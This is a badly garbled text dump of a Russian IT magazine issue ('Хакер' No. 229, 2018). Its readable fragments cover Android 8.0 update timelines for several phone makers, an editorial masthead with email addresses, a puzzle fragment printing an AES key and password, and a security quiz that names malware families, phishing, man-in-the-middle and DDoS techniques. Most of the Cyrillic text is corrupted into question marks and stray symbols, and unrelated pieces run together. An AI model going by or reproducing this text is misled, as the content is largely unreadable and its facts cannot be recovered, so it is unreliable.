? ??�????�??� ??� ???????�???:� ???�?� (????�?� ???�??� ??????�??,� ???????
???????�??????�??)
? ??�???�??:�?????�????�?????�?
LG� ??????�?� ?????�??� ???�?� ???????�???????.� ???� ??:� ????�???� ???�???�?
????�?牜????�?????粻???�??�?��??�????�?�?????�???�??????!
? ??�????�??�?燗ndroid�0�??�?????�?�???�???�(V30):�6�???
? ??�????�??� ??� Android� 8.0� ???� ???�???�???� ????�???� (G6):� ??� ???� ???
????�???�?�0�???
? ??�????�??�?�??????�???:�??�?
? ??�???�??:�?????�????�?????�?
?�??�????�?�???�燬amsung?�???�??�??�??�???�?????�???�??�??�燗n?
droid�??�??�?��????�??????�????�??�?�??�????�??.
? ??�????�??�?燗ndroid�0�??�?????�?�???�???�(S8):�2�??
? ??�????�??� ??� Android� 8.0� ???� ???�???�???� ????�???� (S7):� ??� ???� ???
????�???�?�0�???
? ??�????�??�?�??????�???:�??�?
? ??�???�??:�?????�????�?????�?
Samsung� ?� ?????� ???????�?????� ?????�?,� ??� ???� ??� ??????� BlackBerry!
???????�?????� ??????�???� ??� Android� ?????� ??� ???????� ??� ???�????�?� ????�
?????,�???�??�??�????�??�???�?????�???.�??�????燘lackBerry,�??????
???�???� ????�?????� ???�??�??� ???� DTEK60� (???�?� ???�??,� Snapdragon
820� ?� ???�??� ??� ?????�??� ????),� ?� ?????�?� ??????� ??????�???� ?� 2016??
?????�???� ???????�??� Android?� ????.� ?� ???� ?� ????�?????� ???�??�????
??????,�??�???��???�????�?????�?�??�?�??????�????.
? ??�????�??�?燗ndroid�0�??�?????�?�???�???:�?�??�??�??�(?????�
??�0�???)
? ??�????�??�?燗ndroid�0�??�??�???�???�???�???:�????�?
? ??�????�??�?燗ndroid�0�??�??�???�???�???�???:�????�?
? ??�????�??�?�??????�???:�????�??�?�(???�??�???�???�?�?????�??,
???????�??????�??????�??)
? ??�???�??:�???�?????
?�???�?�??�???�???�?,�??????�???�??�?�??????�?燗ndroid?�?,�?�??:
Google� ?� Nokia.� ???� Google� ???�?� ???�?� ??� ????????:� ????????� ???�?� ??
??????�??�??�??��?????�??�??????�??�??�????�?�??�???�???�?.
??�????�??燗ndroid�?燝oogle:
? ??�????�??� ??� Android� 8.0� ???� ??????�?� ??????�??� ??????�??:� 9� ????
(0�???�??�???�??�??�???????�?????�??)
? ??�????�??� ??� Android� 8.0� ???� ???�???�???� ??????�??:� 18� ????� (0?
18�???�??�???�??�??�???????�?????�??)
? ??�????�??� ??� ???????�???:� ??????� (???�?????� ????????�??� ?????
???)
? ??�???�??:�???????
???� ????� ???�????,� ???????�?� ???????�???� ???�??� Android� (??� ????�??
????,� ??� ????�????),� ?� �????粻 Nokia� ???� ???????�???� HMD� Global.� ?� ????�
?????�???�??�?�???�???�??,�??????�??�?�??�???�??�??�??燗ndroid,
?� ???�??�???� ??� ???� ??� ??????�?.� ???� ??� ?????� ???�???????�??� ??????�??
????�???�???.
??�????�??燗ndroid�?燦okia:
? ??�????�??�?燗ndroid�0�??�?????�?�???�???:��???
? ??�????�??�?燗ndroid�1�??�?????�?�???�???:��???
? ??�????�??�?�??????�???:�?????
? ??�???�??:�??????
??????????
?�??????�?????�??�?�???�????�??:��???�???,��???�??�??�(????
????�???�??�??�??�???��??�??�??�?,�?�??�?????�???�????��??????�
???????�??�?????�??�?????�???????�?�??�???�?�??�???????�??????�
????).� ??????�???,� ?????� ???�?� ????�????� ??????.� ??????�??�?� ?� ???�???
???????�????,� ???�??�??� ?� ???????�??� ???????�??� ??� ???�???� ???�????�
????�?.� ????�?� ?????� ????�???????�???� ????� ????�???�?� Google� ?� ???�?
?????�??燩ixel�燩ixel�
?�?????�??,��??�??�??�???�???�??�???�????�?�?????�?�??�?????�
??.� ????�??�?????,� ???�???�??� ????�???� ????�???????�???� ????????�??� (?
?�??�??�?��????�?�????�???�???�?��???�?????�???????�??�?),�???�
??????� ????�??????????�?,� �???�?????粻 ???�??�????,� ???????� ???????�?
?????�????�??�?????�????�???,�??????�???��??????�????,�????????�
???� ???�?� ??� ?????�?,� ?????�?????�???� ?????�??� ????�???,� ???????� ?????
????�??�???�???�????�????�?????�?????�?�??�?��??�?��????�??�???
Android��??�???�??,�??�??�????�??�??�???�?�?????�??�??�???�
????????�????�???????燗ndroid.
?04�(229)
�
????�??????
????�??�????�??
rusanen@glc.ru
????�??�???�??
?????�?????�????�??
glazkov@glc.ru
�
??�???�???�??�??
?????????�??
pismenny@glc.ru
??�????�?????�?
??????�??�??�????�??
??�??�???�??�??
??�???�???�??�??
pismenny@glc.ru
aLLy
iam@russiansecurity.expert
�
�
????�??????
rusanen@glc.ru
??�????�??�??
zobnin@glc.ru
�
�
????�????牜Dr.粻
?????????
lozovsky@glc.ru
??�??牜ant粻?????
zhukov@glc.ru
MEGANEWS
??�??�?????�?
nefedova.maria@gameland.ru
???
yambuto
yambuto@gmail.com
???�???
??�?�???�???�
??�??�??�?�???�??�????�
yakovleva.a@glc.ru
???�??????�????��??�????
???�???�?�??�????:爈apina@glc.ru�
� ??�???�?�?????�???:爏upport@glc.ru�
?
??�??�????�??:�5080,�????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��???�???:�?
????�???�????�??�????,�0046,�??�?????�???�??????,�.�??�?????,�?.�???�?�??????,�.�.�???�?????:�??牜?????�??粻� �5080,
?????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��??????�??�???�?��???????�??�???�?
??�??�???��??�?�??�?,�??????�???�??�??�??????��??�????�??�?????�??�(???�?????�???),�??�?????�???牋??�牋??77?�001�?牋30.�
08.�16� ????.� ???�??� ?????�??� ??� ???�?????�?� ???�???�?� ?� ???�???� ????�??.� ???� ??????�??� ?� ??????� ???�??�????�???� ???� ???????�??
?� ???�????�??.� ????,� ??????�?????� ???�??� ???????�??� ?� ???�???�????�??� ?????,� ?????� ????� ????�?????� ?� ??????�???�????.� ?????�??
??�????�?????�???�????�?�????�????�??�?????�??�???�??��?????.�?�??�????�????�?????�??��?????�??�???�?�?????�??????
?????�???�??�?????�???�??�???�???�??�???�?�???�?:爔akep@glc.ru.牘�??�??牜?????�,�?,�18
�??� PEM
?� ??????�?� ?� ????� key.priv.� ??????� ???�?� ??� ????�?� ???� ???�????�???
????燗ES��??�???�???.
???�?� ????????,� ???� ???�?� ???�?????�?� ????� AES� ???�?� ???�?� ??� 256,
?�8�??.�????�?�????�??�???�??�????�??:
197b706e1595cf81c533136a2990249700000000000000000000000000000000
?燨penSSL�??�?�??�?�??�????,�?�??�??�?????�?�???�??�????�???�
????�???�????�??�???.
????:燬tvgn6CFHKYd3BDE
??????????�?????�?�???
???�??� ??????,� ?� ?????,� ???� ???� ???�???� ????�??� ????�??,� ???�?� ???�????
?� ???�???????� ??� ????�?� ???.� ??� ??????�????� ???�?????,� ???� ???�???� ?????
???�???????�??�???�??�?,�??????�?????�???�???��??.�)�??�??��???�
????�?�??�???�??�???�?�(??????�?�??�??).
1.�??� ?????� ????�???� ???�?� ???�???�????�?� ?????�???� ???�?????� ????�
??????�???????�?????
1.�?�??�????�???�?
2.�?�????�???�???�?
3.�?�???�??�??�??????�???????�????��??�????�??�??�???�?
2.�??�????� ??� ????�?� ???�??� ????�?????�?,� ????� ??� ??� ???�??� ?� ???�?????�
???�??�????�??
1.�??
2.�??,�???�?�????�??�?�??�????�???�??�???
3.�?
3.�?�???�?� ???� ??� ??????�????�?????� ????�??,� ???????� ???�???� ??????
?�??????�??�??????�??????�??????
1.�?�??�???�??�????�???�?????
2.�?�??????�??�????�?????
3.�??�??????�??????��??�??�???�?????�??
4.�?�??� ??� ???????�?????� ???�????�??� ????�???� ????�????�???� ???� ????
??�?????????�????
1.燙hameleon
2.燰irus.Win9x.CIH
3.燙arberp
5.�?�??�??�???�?�?????????�???�??�????�?�????�??�??�??��??�???
????�????�?�??�?????�??????�???�??�????�?�??�??�???
1.燩hishing
2.燤an?in?the?Middle
3.燤an-in-the-Endpoint
6.��??�??�??�??�?�??�???�?�??�?��??�??�??
1.�?�???�????�??�???�?�??�?�??�???�?�??????�?
2.�??�??�?�???�????��??�??燤an-in-the-Middle
3.�???� ???�??� ??� ????�????� ?� brute?force� attack� ?� ???�??� ?????�??
?????�?????�??�??�?????�??�????�??�??
7.�?�??� ?????� DDOS????�?� ???�???�?� ??????�?� ???�??�????�?� ???�????
???�????
1.燯DP�ood
2.燞ttp爏low爌ost
3.燚ns燼mplification�??�?
8.�?�??�???????�???�?????�?�??�????
1.燙RC32
2.燤D5
3.燬HA?2
9.�?�??�???�????�????�??�?????�?????�???�?��??�??????�???�????
1.�?�???�??�??�??????
2.�?�???�????
3.�??�????�??�???
10.�?�???�?�??�??�???�??�???�???�???�?
1.�??�??燞TTPS�??�??????�??�????�?�??�???�?????????�????
2.燞TTPS�???�???�?????�??�?�???�????�燞TTP�??�???�??
3.燞TTPS��??�??�??????�??�???�?燞TTP,��??????�????-�
????�??�??????�?????�?????�?�???�???????�??????-�
???�??�???�?燞TTP�??�??
IT-????????, ????? ??? ???? ???????!
???�??�???�???????�???��???�???�???�??,�????�?�?�??�???�?�???�
????�?� ?????�???�??� ?????�?,� ???????� ???�?????� ???�????� ????�???�?
????�??????.� ??� ???�?� ?????�?� ??� lozovsky@glc.ru� ?� ??� ??� ???�???�?.
???????� ?????,� ??????�??,� ??????�??� ?� ????????�??.� ??????�??� ?� ?????�?,
??????�??� ?� ?????�?,� ???� ?� ???�???� ??� ?????� ???�????�????�??� ?????�
?????,� ????�????� ?� ?????�?� ????????�?� ??� ???�?????�?� ?� ???????� ??????�
????�??�??�???.
GEEK
??????
???????
???�????????????
??????????�??????�?
?�????????�????????????
?????????
?� ?????� ??� ???�???�??� ?????�??� ??� ????�
?????� ???�???�???� ???�???,� ??� ???????
????�??�?� Apple� ????� ?� ?????� ???�???
????�??�??� ????�????� ??� Android.� ??????
???�???�??�??�??????�??��???�??????�
???� ????�??.� ?� ???�?� ?� ????� ??� ??????
???�???� ?� ????�???� ????,� ???�??�??� ?� ???
???�??,� ???????� ????� ?� ??????� ???�????,
?� ????�???,� ???�???� ???�???�???�?
?????�??????�??�??.
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
???????�?????��??????
?�???�?????�?????�?�????��????��??????�???�??�???燗ndroid��????�
???� ???�???,� ???�????�?� ??� AOSP� ?� ???�????� Google,� ???????� ????�??�????�
????� ?� ????�??�?� ????�?� Android� One,� Google� Pixel� ?� ????�??�?� ??????�??
???�???�???�??� (???�????,� Motorola� ?� Nokia).� ?????� Android� ??� ???????
�??????�� ???�??�?� ????� ???� ???�??�????� ???� ???,� ??� ????�?� ???� ??� ???
????�???�????.� ?� ????�????� ?� ?????�???� ???�???�???�??� ????�??�??
�??????粻 Android� ????� ????�?� ????�?� ????�???�????� ?� ?� ????�??� ?????�
????????� ?????� ???????�?� ?????????�?� ?� ??� ????�??� ????,� ?� ???� ???�????�
????�??,�??????�??�???牜???�??燗ndroid粻???�?�??�????�????�??�??.
?????��??�??�?�?????�??��??,�??�??�???�???�?��?�????燞TC,
LG,� Samsung� ?� ???�??� ?� ????�???� ????�???� ???�???� ?� ???� ??� ???�?� ???????�
????.
?????????:�?????�????????�?-????????
???�??,�??�??�????�??�??�???�????�?????�?????�???�???�???,�????
???�???�??�??� ???�????,� ???????�????.� ???�????�???� ???�???�???�?
?????�?:� ??� iPhone� ?� iPad� ?� ???????� ????� ???�????� ??� ???�?� ???????� ????�
??????�???�????�??�??�??�???�?.�???�??�?�?燱indows�燤obile�????�
??� ?????� ??� ???�??�??� ???????� ??????�??� Windows.� Google� ???�?????�?
?????� ?????�?,� ??????� ???????� ???�?????�??� ???�????,� ???????� ???� ?
????�???�?�??�??�??�??�??燗ndroid.
???� ???�??�???� ???�????� ????� ???�???�???�???� ???� ??� ???�???�?� ????�
????�??�???.
�???????!粻 ?� ???�??� ??????�?� LG� ???� ????�????.� �????????!粻 ?
???�???�?�??��??�????�???�??燞TC�???�????�?????�??燘oom燬ound.
?????� ???�???�?????,� ??� ????�????� ????�??� ???�?� ????�?� ????�??�?,
????�????�??� ?????� ???�??� ????�?????,� ????�?????� ???�?????� ????�????�
????�?��???�?????.��???��????�???燣enovo,�??�???�???�?�??�???�
?????�???� Motorola,� ???� ????�????� ???�?� ?????� ?????�???,� ??� ????�???� LG
???� HTC,� ?????�???�???�?� ???????�????�??�?� ???�???� ????,� ???�????�?
???�????�?�???�????�???�??????�??�???�??�???�?.
???????????
?燗ndroid�??????�??�????�??��???�????�????�????�??�??�???�??�???�
?????,� ??� ??????� ???�??�??????� ?????�????� ???�??�????� ?� iOS.� ????????
??,� ???� ?????� ???�?� ????�????� ???,� ???�?????� ???�???�???�?� ???� ???�???
??????.�??�??�????�???�????�?????�?�??�???????�??�?????.
???�??�燞TC.�?�???????�??�???�???�?????�?�??�???�?�???�?�???�
???,�??�??�??�?????�??燞TC燬ense��??�??�?�??�??燗ndroid,�???�??�?
????�?????� ?� ???�??� ???�??.� ????�???,� ???????� ????�?????�?,� ??� �????�
????粻Android�??�???�?????�?�??????�?.�??�??�??�???�???�?????�?
HTC��??�??�???�??.
�?????� ???�?� ???????�??� ???�???�?� ??????� ???�????� ???�??�????� ????�
??????� ??� ???�???�??,� ????� ??� ????�????� ???�?� ???� ???�?� ?� ??� ?????�?� ???
???�???�?�?????�?�,��???�???�???�???????.�????�??�???�??�????�??
???�???�??,� ????� ????????� ?� ???� ?????�???� ????� ???� ???�??� ????�??�?????
?� ???�?????� ????�????,� ?� ???�?� ???� ??????�??� ???�?????�??� ???�??� ?????�
?????.� ??????�??� ?� �????�?,� ??� ??� ????�?� ?� ????�????� ???�?� ??� ????�?
???�?�???,�?�?�??�???�.
????�??�?�??�??�????�??.
???� ??� ?????� ??????� ?????� ????�??� ???�???�?� ???�??� ???�??�????
??�?????�??�?�?�???�???�??�??�?燗ndroid.�???????�?,�??�????�????
???�?�?�???�??�??�??�???�??�??�????�?�??�?????�????��??�?????�
????� ????�??� ???????� ?????�???�?� ???� ????�???,� ??� ??� ?????� ??????,� ????�
????�??�??�??�???�?�??�??�???�?�??�??�??????�??�???�?.
????�?,�?�??�????�???燞TC�??�?�??�?,�??�???�??�?.�??�??��???�
???�????,� ??� ???� ???�??� ?� �???�???粻 Android,� ???????� ????� ????�???�??
???�??� ????�???�?� ???�???�???� ???????�??� ???�??�???�??.� ??????� ???
(???!)� ????� ???�???�??,� ?????�?� ??� ??� ??� ????� ????�??�???� ??� ????�??�?,
???�???�?????�?�??�???�??�????�??�??�????,�??????�?�??�??��???�
????�??,� ?� ???�??�???�???� ??????� ???�?� ????,� ???� ??????�?� ??� ?????�???
????.
?� ????� ?� ????�??�???� Android� ????� ??� ???�??�????,� ???� ???????� ?????� ????�
?????� ????,� ???�???�?� ???�?????� ???�??�????,� ??� ???�????�???� HTC
??????�??�?:�??�??�???�??�??�????�????�??�???�???�?�???????�???,
?????�?�??�??�??��??,�??�???�??�???��??�???�??.��???�???�??�???
???�?� ???�???�???� ????� ????� ????�???� ??� ????� ?� ???�???�??� HTC� ?� ??????�
????�???�??�??�???�?�??.�???�????�????�??�???�???�?�?????�??�?
?�??�???�?�??�??�????��????�???�??�???,�??�?�???�????�????�????�
???�??�???�??�??�???.
??�???� ?????� ??????� ???�??� ??????� ???????�??� ?????� ??� ????�?� ??????,
???�?�???�???�??燞TC燯11��???�???�?�?????�?�????,�???�??�???�???
???�????� ???�??�????� ???� ????� ???�???�??,� ?� ?� ???� ???�?� ???�?� ??� ????�
????� ???????� ????�?� ?????!� ???�???� ???�?,� ???� �???�????粻 ?� ???� ????�
?????�??�??�???,�??�?�???�???�?�?�????�?????�???�???.
???�???,� ???� ???� ?� ???� ?????�??� ?� ???????� ???�???� ?????� ???�?????.
Android� 8.0� ?� ???�??� ????�???�?� ???�??� ??� HTC� U11� ?� ?????�?� 2017???.
??????,� ???�???,� ?????� ???????�??� ???,� ???� ???� ?� ????�???� ??????�??,
?????�?�???�?�????�???�???�??��??�?�??�????�???.
????�?,� ???????� HTC,� ??� ????� ??� ????�?????�?� ??� ???�??�?� LG,� ?� ???????
????�?� ????�?� ???�???� �??�???�??粻 ???� ???� ???�??�????!� ????� ?????
?� ???,� ???� ???????� ?????� ??� ???�?????�?� ???�???�??� ????�??� ??????�?,
??�?????�?�?????�???�?????�??燣G.
??�???�???�??�????�?�????�???�?,�??�????�???�牜???�??粻???�??.��??
????�?????��???�????�????�?,�??????�????�????�????�???�?�??�???�
??,���??�?�??�?:�??????�??�??�?�???�?�??�??�???????�?:牜???!�
???????�?!�
?�?????�??�??�?�????�?:�???�??,�??�????�???�??!�??�??�??????�
???� ???????� ????�?????�??� (??� ??� ?????�????� UI� ??)� ??� LG,� ????�???
??�????�??�??燗ndroid��??�??.�0,�1,�0,�0��??�?�???��?�?�???�
????.�????�?,�??�???�???�???!
??????�??營PHONE,�?????�?????!
?燞TC�??�??�????�?????�?��??�????�???�?�??,�??�??�??�?�????�?
???�????�????燗ndroid.��??�?????�??�??�??�??�???�???�?�????牜??????
???�???�,�??�??�???�??�???�?????燗ndroid��???�??�??�???,牜???��????�
???�.� ??????�????� ??????�???� ?????� ???�?.� ???�??�?� ???� ?� ?????�???� ????�
??????�?�??????�??��????�???�???�??�????��????�??�??.
???�??�??�??�????�燞uawei�(????�?�牜???�??粻Android):
?�??�????�??�??�??�???�??????�??�???燣eEco:
?� ???� ???� ????�???�???� ????� ???�??�??� ?????????� Android� 6.0� ?� LG.� ?????
????�??� ????�?� ??????�??,� ?????� ????�??� ????�?� ?????�?????�??� ????�?,
???????� ???�??�?� ??� ????�?� ?� ???�??,� ?� ???� ???� ????� ????�?????� ????�???�
????� ?????�?????�?� ????�???� ?????�?????�?� ????�???� ???� ??????
???????�???�??�???�????.
???� ???�?� ?????� ????????�??� ???� ?� ???� ????�??????????�?,� ?????�??
????????�?� ????� ????� ???� ???????� ?� ???�??� ???�?� (�� ???�??� ??� ???�??粻 ?
??� ?� ???� ???�??� ???�?� ?� ??????�?� ?????� ???�???� ?� ????� ????�???,� ????� ??
??�??�???????��???�??),�??�??��???�?�???�???????�???�???�??�???
??????�???� ???�?� ????�??� ???� ????�????�??� ??????�??�??� ?????�??� An?
droid��??�??�??�????�?????�??�???�??�??�?????�???�?????�??.
???� ????� ??????,� ???????� ?????� ???�???�???�??� ????�???� ???�???� ???,
???�??�???�爄OS,��??????�??�???????�???�?.��??�??�??�???燗ndroid
???�???�????�???�???�??�???�??????�??�???????�??�????�??�??�???�?
??� ???????� ???�????,� ?� ???�??� ??????�??�?� ???????� ????�?� ??� ????�???
????�????.�??�????�?:�??�????�?�???�??�??�?????�??�????��???�??
??????�??,���??�??�?�?????�??�????.
???,� ??� ???� ???�???�???�??� �???�???粻 ???� ??????,� ???�???�??� ???�????
???????��???�???�?�??�????��???�?�??�???�?�???�?.�??,�??�????,
???�???�??�????�???燨nePlus�(???�???�????�??,�?�??�??�?燨xygenOS�
???� ???� ???�??� Android,� ????�?� ???�?).� ?� ??????�???,� ????� ???�?????� ?????�
????�??�???�?�??????�?�????�????,�??�????�??�????�?�??�???�?�???�
????�????????.�?,�??�???�?�??�???�???�???�??????�??�???????�爄OS,
??�??�???�?�???�????�??�??�????.
??�???� ?� OnePlus� ???�?????� ???????,� ????�?� ??� ???�?????� ?� ???� ????
???�??� �???�????�.� ?� ???�????� ??????� ????????� ????�??�??� ??????�
????????� ???????� ???�??�????,� ???�??� ???� �??� ?� iPhone,� ????�?� ???�?�.
????�?????�????�????�???????�燨nePlus���??�???�?�???�?��??�??
?????�?????�?� ???�?� ???�???�?� ?� ???�???�???� ??????�?� ???�??�????.
????????� ??,� ????�?!� ???,� ???�??� ???:� ?????�???� ????�?????�?� ??� ??????
???�???� ??????� ?????�??????� ???????� ???�??�????� Android� ?� ???�?????
??????�?�?�??�??�?�????�????�??�???,�??�???�???�??�??�???�????
??????� �?� ???�???�??粻 ??� ???�??????� ?� ??� ??????�?� (???�????,� ??� ????�
???� ?????�??� ?� ?????�???).� ????�?????�?� ????�???�???� ???????�???� ?????
?�?�??�??�????�??�??�???,�??�?�???�????�???�??�???,��???�??�?
?????�??� ???�??�??.� ??????� ???�?????� ?????� ??� ?????� ?????�???� ????�
????!� ?????� ?????�?????� ?� ????� ???�?????� ???�??�??� ????� ?????� ????�
??????� SMS?� ??� ????� ??????� ?????�??� ????�?????�??� ??� ?????,� ????�?
?�??�?????�??�?�??????�??????�????�??�???.
???????????
??� ???� ?� ???�?� ????�??�?� Pixel� ?� ???� ???� ??� ???�??�??,� ????�?� ????????�
?????????�???�??�???�???�??.�??�??�??�??�??�?????�??燩ixel�??????�
??????�??�??�???��??????�???�??�?????��??�???�???????�??�?????
??� ????�?????� 2016� ????� ???????� eMMC� (??????�??� ????�???� ??????�?
??�????�??�???燯FS�0),�???�??�?�?燝oogle�?????�?�??�??�?�???�?,
???� ??� ???�?.� ???� ?????� ?� ?????�??????� ???�????,� ???� ?????�??�??� ??????�
?????,�??�???�??�??????�????�?�??�?�???,�??�???�???牜???�???�???�
??�??�?????�??�???�?�??.�??�???�??�????�???�?��???�??�?????�???�
??????� ?� ??????�?� ????�??�????� ????�?.� ???�??� ??????,� ????�?� ???�????
?� ????�????� ??????� Pixel� ?� ??,� ????� ???�?� ?????�?� ??� ???�???� ??� ???�?????
???�???爄OS.
????�????燩ixel�??�???�?????�??��???�?????�????燞TC燯燯ltra�(Snap?
dragon�1,燯FS�0)�????�????�?�???????,�??�???�???�?燞TC:�)�?????�
????�???� ??� ????�??�??� ???????� ?� ?)� ???�????�???�?� ?� ???�?????�?,
????????�??�????,�??�??�??�??�?????�?�?�??�?????�??.�??�???�??
??� ???�?????� ???�???�?� ???,� ???�??� ???�???�?� ??????� U� Ultra� ???????�??,
???� ???�??� ??????�?� (??????� ??� ????,� ???� ????�?� ???�??�????� ?????�???�?
???�???,� ??� ?� ??� ???�?� ?????�??� ?????�??).� ???� ???� ?� ????�???� Android?
???:� ??� Pixel,� ??????�???� ??� ???????� ??????,� ??????� ?????�???� ??� ????�
????�???.�???�?�??�??,�????�??�??�???�???�??.
??�??�??�??�????��???�??�??�?�??�?.燣G燝燜lex��????�??,�???�
???� ?????�??� ?� ???�?????� ????�??,� ???�?� ??????�???� ?????� ??????�?� ??????
???�???� ?� ???�????�??� ????�??,� ????�??� ???�??.� ??� ????�??� ??????� ?????
???????�?????� wakelock???� ????,� ???�???�??� ?� ???�???�???� ??????�??
????�??�?� ?� ????�??,� ???�?� ??????� ?????� ???�???� ????�???�?� ?� ??????
??????� ?????�????� ????� ?� ???????�????,� ???????� ????�?� ??????�????
??�??�???�???�?�??�??�?????�??�??�?.
???????????�?????��????????
???� ????� ???�????�?,� ????� ????� ???????� ????�????�?� ?� �??�??粻 ???�?� ????�
???�???� ???????�???� ????�???� ???�????�?� ???�??� ???� ????�???�??� ????�
????�???�??,� ??,� ???,� ?????�???????.� ????�??,� ????� ???� ???�?????�?
??????�??�??????�??�???�?????�??��???�??�?�?�??�???��???�????�
??�???�?�?????�??�??�???�???�?�?�?�??�????.��??�???�??�??????�
????�??�?�?????�??�??�????�?????�?�??�???�???�?��??�??�?�????
??????.
????�?� ?????� �???�????粻 ????�?� ?� Android� ????????�????�???� OnePlus.
?� ???????� Android� 8� ??????� ???�?� ??� ???,� ?� ????�??�?� ???� ????�?????�?
??????�??燨nePlus��??�??�???�??�???�??�????�???,�???�????�??�???�
???,�??�
Автор
barmaley
Документ
Категория
Информационные технологии
Просмотров
24
Размер файла
61 680 Кб
Теги
ХАКЕР №229 2018, хакер
1/--страниц
Пожаловаться на содержимое документа